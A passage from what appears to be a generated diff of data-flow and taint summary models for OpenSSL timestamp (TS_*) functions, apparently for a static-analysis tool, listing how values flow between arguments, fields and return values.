"", True, "TS_ACCURACY_set_millis", "(TS_ACCURACY *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_ACCURACY_set_seconds", "(TS_ACCURACY *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_CONF_get_tsa_section", "(CONF *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_CONF_get_tsa_section", "(CONF *,const char *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_CONF_set_serial", "(CONF *,const char *,TS_serial_cb,TS_RESP_CTX *)", "", "Argument[2]", "Argument[*3].Field[*serial_cb]", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_dup", "(const TS_MSG_IMPRINT *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_free", "(TS_MSG_IMPRINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_free", "(TS_MSG_IMPRINT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_get_algo", "(TS_MSG_IMPRINT *)", "", "Argument[*0].Field[**hash_algo]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_get_algo", "(TS_MSG_IMPRINT *)", "", "Argument[*0].Field[*hash_algo]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_get_msg", "(TS_MSG_IMPRINT *)", "", "Argument[*0].Field[**hashed_msg]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_get_msg", "(TS_MSG_IMPRINT *)", "", "Argument[*0].Field[*hashed_msg]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_algo", "(TS_MSG_IMPRINT *,X509_ALGOR *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_algo", "(TS_MSG_IMPRINT *,X509_ALGOR *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_algo", "(TS_MSG_IMPRINT *,X509_ALGOR *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_msg", "(TS_MSG_IMPRINT *,unsigned char *,int)", "", "Argument[*1]", "Argument[*0].Field[**hashed_msg].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_msg", "(TS_MSG_IMPRINT *,unsigned char *,int)", "", "Argument[1]", "Argument[*0].Field[**hashed_msg].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_MSG_IMPRINT_set_msg", "(TS_MSG_IMPRINT *,unsigned char *,int)", "", "Argument[2]", "Argument[*0].Field[**hashed_msg].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_add_ext", "(TS_REQ *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_REQ_add_ext", "(TS_REQ *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_add_ext", "(TS_REQ *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_delete_ext", "(TS_REQ *,int)", "", "Argument[1]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_delete_ext", "(TS_REQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_delete_ext", "(TS_REQ *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_REQ_dup", "(const TS_REQ *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_free", "(TS_REQ *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_REQ_free", "(TS_REQ *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_REQ_get_ext", "(TS_REQ *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_by_NID", "(TS_REQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_by_OBJ", "(TS_REQ *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_by_critical", "(TS_REQ *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_count", "(TS_REQ *)", "", "Argument[*0].Field[**extensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_ext_d2i", "(TS_REQ *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "TS_REQ_get_exts", "(TS_REQ *)", "", "Argument[*0].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_exts", "(TS_REQ *)", "", "Argument[*0].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_msg_imprint", "(TS_REQ *)", "", "Argument[*0].Field[**msg_imprint]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_msg_imprint", "(TS_REQ *)", "", "Argument[*0].Field[*msg_imprint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_nonce", "(const TS_REQ *)", "", "Argument[*0].Field[**nonce]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_nonce", "(const TS_REQ *)", "", "Argument[*0].Field[*nonce]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_policy_id", "(TS_REQ *)", "", "Argument[*0].Field[**policy_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_policy_id", "(TS_REQ *)", "", "Argument[*0].Field[*policy_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_get_version", "(const TS_REQ *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_REQ_print_bio", "(BIO *,TS_REQ *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_set_msg_imprint", "(TS_REQ *,TS_MSG_IMPRINT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_set_msg_imprint", "(TS_REQ *,TS_MSG_IMPRINT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_REQ_set_msg_imprint", "(TS_REQ *,TS_MSG_IMPRINT *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_set_nonce", "(TS_REQ *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_REQ_set_policy_id", "(TS_REQ *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*policy_id]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_set_version", "(TS_REQ *,long)", "", "Argument[1]", "Argument[*0].Field[**version].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_REQ_to_TS_VERIFY_CTX", "(TS_REQ *,TS_VERIFY_CTX *)", "", "Argument[*1]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "TS_REQ_to_TS_VERIFY_CTX", "(TS_REQ *,TS_VERIFY_CTX *)", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_flags", "(TS_RESP_CTX *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_md", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[**mds].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_md", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[**mds].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_policy", "(TS_RESP_CTX *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[***data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_add_policy", "(TS_RESP_CTX *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[**policies].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_get_request", "(TS_RESP_CTX *)", "", "Argument[*0].Field[**request]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_get_request", "(TS_RESP_CTX *)", "", "Argument[*0].Field[*request]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_get_tst_info", "(TS_RESP_CTX *)", "", "Argument[*0].Field[**tst_info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_get_tst_info", "(TS_RESP_CTX *)", "", "Argument[*0].Field[*tst_info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*0]", "ReturnValue[*].Field[**libctx]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[*1]", "ReturnValue[*].Field[**propq]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[0]", "ReturnValue[*].Field[*libctx]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_new_ex", "(OSSL_LIB_CTX *,const char *)", "", "Argument[1]", "ReturnValue[*].Field[**propq]", "taint", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_accuracy", "(TS_RESP_CTX *,int,int,int)", "", "Argument[1]", "Argument[*0].Field[**seconds].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_accuracy", "(TS_RESP_CTX *,int,int,int)", "", "Argument[2]", "Argument[*0].Field[**millis].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_accuracy", "(TS_RESP_CTX *,int,int,int)", "", "Argument[3]", "Argument[*0].Field[**micros].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_certs", "(TS_RESP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*0].Field[**certs]", "taint", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_certs", "(TS_RESP_CTX *,stack_st_X509 *)", "", "Argument[1]", "Argument[*1]", "taint", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_clock_precision_digits", "(TS_RESP_CTX *,unsigned int)", "", "Argument[1]", "Argument[*0].Field[*clock_precision_digits]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_def_policy", "(TS_RESP_CTX *,const ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*default_policy]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_ess_cert_id_digest", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[**ess_cert_id_digest]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_ess_cert_id_digest", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*ess_cert_id_digest]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_extension_cb", "(TS_RESP_CTX *,TS_extension_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***extension_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_extension_cb", "(TS_RESP_CTX *,TS_extension_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**extension_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_extension_cb", "(TS_RESP_CTX *,TS_extension_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*extension_cb]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_extension_cb", "(TS_RESP_CTX *,TS_extension_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*extension_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_serial_cb", "(TS_RESP_CTX *,TS_serial_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***serial_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_serial_cb", "(TS_RESP_CTX *,TS_serial_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**serial_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_serial_cb", "(TS_RESP_CTX *,TS_serial_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*serial_cb]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_serial_cb", "(TS_RESP_CTX *,TS_serial_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*serial_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_cert", "(TS_RESP_CTX *,X509 *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_cert", "(TS_RESP_CTX *,X509 *)", "", "Argument[1]", "Argument[*0].Field[*signer_cert]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_digest", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[*1]", "Argument[*0].Field[**signer_md]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_digest", "(TS_RESP_CTX *,const EVP_MD *)", "", "Argument[1]", "Argument[*0].Field[*signer_md]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_signer_key", "(TS_RESP_CTX *,EVP_PKEY *)", "", "Argument[1]", "Argument[*0].Field[*signer_key]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_time_cb", "(TS_RESP_CTX *,TS_time_cb,void *)", "", "Argument[**2]", "Argument[*0].Field[***time_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_time_cb", "(TS_RESP_CTX *,TS_time_cb,void *)", "", "Argument[*2]", "Argument[*0].Field[**time_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_time_cb", "(TS_RESP_CTX *,TS_time_cb,void *)", "", "Argument[1]", "Argument[*0].Field[*time_cb]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_CTX_set_time_cb", "(TS_RESP_CTX *,TS_time_cb,void *)", "", "Argument[2]", "Argument[*0].Field[*time_cb_data]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_create_response", "(TS_RESP_CTX *,BIO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_RESP_create_response", "(TS_RESP_CTX *,BIO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_RESP_dup", "(const TS_RESP *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_free", "(TS_RESP *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_RESP_free", "(TS_RESP *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_RESP_get_status_info", "(TS_RESP *)", "", "Argument[*0].Field[**status_info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_status_info", "(TS_RESP *)", "", "Argument[*0].Field[*status_info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_token", "(TS_RESP *)", "", "Argument[*0].Field[**token]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_token", "(TS_RESP *)", "", "Argument[*0].Field[*token]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_tst_info", "(TS_RESP *)", "", "Argument[*0].Field[**tst_info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_get_tst_info", "(TS_RESP *)", "", "Argument[*0].Field[*tst_info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_print_bio", "(BIO *,TS_RESP *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_set_status_info", "(TS_RESP *,TS_STATUS_INFO *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_set_status_info", "(TS_RESP *,TS_STATUS_INFO *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_RESP_set_status_info", "(TS_RESP *,TS_STATUS_INFO *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_set_tst_info", "(TS_RESP *,PKCS7 *,TS_TST_INFO *)", "", "Argument[*1]", "Argument[*0].Field[**token]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_set_tst_info", "(TS_RESP *,PKCS7 *,TS_TST_INFO *)", "", "Argument[*2]", "Argument[*0].Field[**tst_info]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_set_tst_info", "(TS_RESP *,PKCS7 *,TS_TST_INFO *)", "", "Argument[1]", "Argument[*0].Field[*token]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_set_tst_info", "(TS_RESP *,PKCS7 *,TS_TST_INFO *)", "", "Argument[2]", "Argument[*0].Field[*tst_info]", "value", "dfc-generated"] + - ["", "", True, "TS_RESP_verify_signature", "(PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **)", "", "Argument[*1]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "TS_RESP_verify_signature", "(PKCS7 *,stack_st_X509 *,X509_STORE *,X509 **)", "", "Argument[*1]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_dup", "(const TS_STATUS_INFO *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_free", "(TS_STATUS_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_free", "(TS_STATUS_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_failure_info", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[**failure_info]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_failure_info", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[*failure_info]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_status", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[**status]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_status", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[*status]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_text", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[**text]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_get0_text", "(const TS_STATUS_INFO *)", "", "Argument[*0].Field[*text]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_STATUS_INFO_set_status", "(TS_STATUS_INFO *,int)", "", "Argument[1]", "Argument[*0].Field[**status].Field[**data]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_add_ext", "(TS_TST_INFO *,X509_EXTENSION *,int)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_add_ext", "(TS_TST_INFO *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[***data]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_add_ext", "(TS_TST_INFO *,X509_EXTENSION *,int)", "", "Argument[2]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_delete_ext", "(TS_TST_INFO *,int)", "", "Argument[1]", "Argument[*0].Field[**extensions].Field[**data]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_delete_ext", "(TS_TST_INFO *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_delete_ext", "(TS_TST_INFO *,int)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_dup", "(const TS_TST_INFO *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_free", "(TS_TST_INFO *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_free", "(TS_TST_INFO *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_get_accuracy", "(TS_TST_INFO *)", "", "Argument[*0].Field[**accuracy]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_accuracy", "(TS_TST_INFO *)", "", "Argument[*0].Field[*accuracy]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext", "(TS_TST_INFO *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_by_NID", "(TS_TST_INFO *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_by_OBJ", "(TS_TST_INFO *,const ASN1_OBJECT *,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_by_critical", "(TS_TST_INFO *,int,int)", "", "Argument[2]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_count", "(TS_TST_INFO *)", "", "Argument[*0].Field[**extensions].Field[*num]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_ext_d2i", "(TS_TST_INFO *,int,int *,int *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_exts", "(TS_TST_INFO *)", "", "Argument[*0].Field[**extensions]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_exts", "(TS_TST_INFO *)", "", "Argument[*0].Field[*extensions]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_msg_imprint", "(TS_TST_INFO *)", "", "Argument[*0].Field[**msg_imprint]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_msg_imprint", "(TS_TST_INFO *)", "", "Argument[*0].Field[*msg_imprint]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_nonce", "(const TS_TST_INFO *)", "", "Argument[*0].Field[**nonce]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_nonce", "(const TS_TST_INFO *)", "", "Argument[*0].Field[*nonce]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_policy_id", "(TS_TST_INFO *)", "", "Argument[*0].Field[**policy_id]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_policy_id", "(TS_TST_INFO *)", "", "Argument[*0].Field[*policy_id]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_serial", "(const TS_TST_INFO *)", "", "Argument[*0].Field[**serial]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_serial", "(const TS_TST_INFO *)", "", "Argument[*0].Field[*serial]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_time", "(const TS_TST_INFO *)", "", "Argument[*0].Field[**time]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_time", "(const TS_TST_INFO *)", "", "Argument[*0].Field[*time]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_tsa", "(TS_TST_INFO *)", "", "Argument[*0].Field[**tsa]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_tsa", "(TS_TST_INFO *)", "", "Argument[*0].Field[*tsa]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_get_version", "(const TS_TST_INFO *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_print_bio", "(BIO *,TS_TST_INFO *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_set_accuracy", "(TS_TST_INFO *,TS_ACCURACY *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_accuracy", "(TS_TST_INFO *,TS_ACCURACY *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_accuracy", "(TS_TST_INFO *,TS_ACCURACY *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_msg_imprint", "(TS_TST_INFO *,TS_MSG_IMPRINT *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_msg_imprint", "(TS_TST_INFO *,TS_MSG_IMPRINT *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_msg_imprint", "(TS_TST_INFO *,TS_MSG_IMPRINT *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_nonce", "(TS_TST_INFO *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_policy_id", "(TS_TST_INFO *,ASN1_OBJECT *)", "", "Argument[1]", "Argument[*0].Field[*policy_id]", "value", "dfc-generated"] + - ["", "", True, "TS_TST_INFO_set_serial", "(TS_TST_INFO *,const ASN1_INTEGER *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "TS_TST_INFO_set_time", 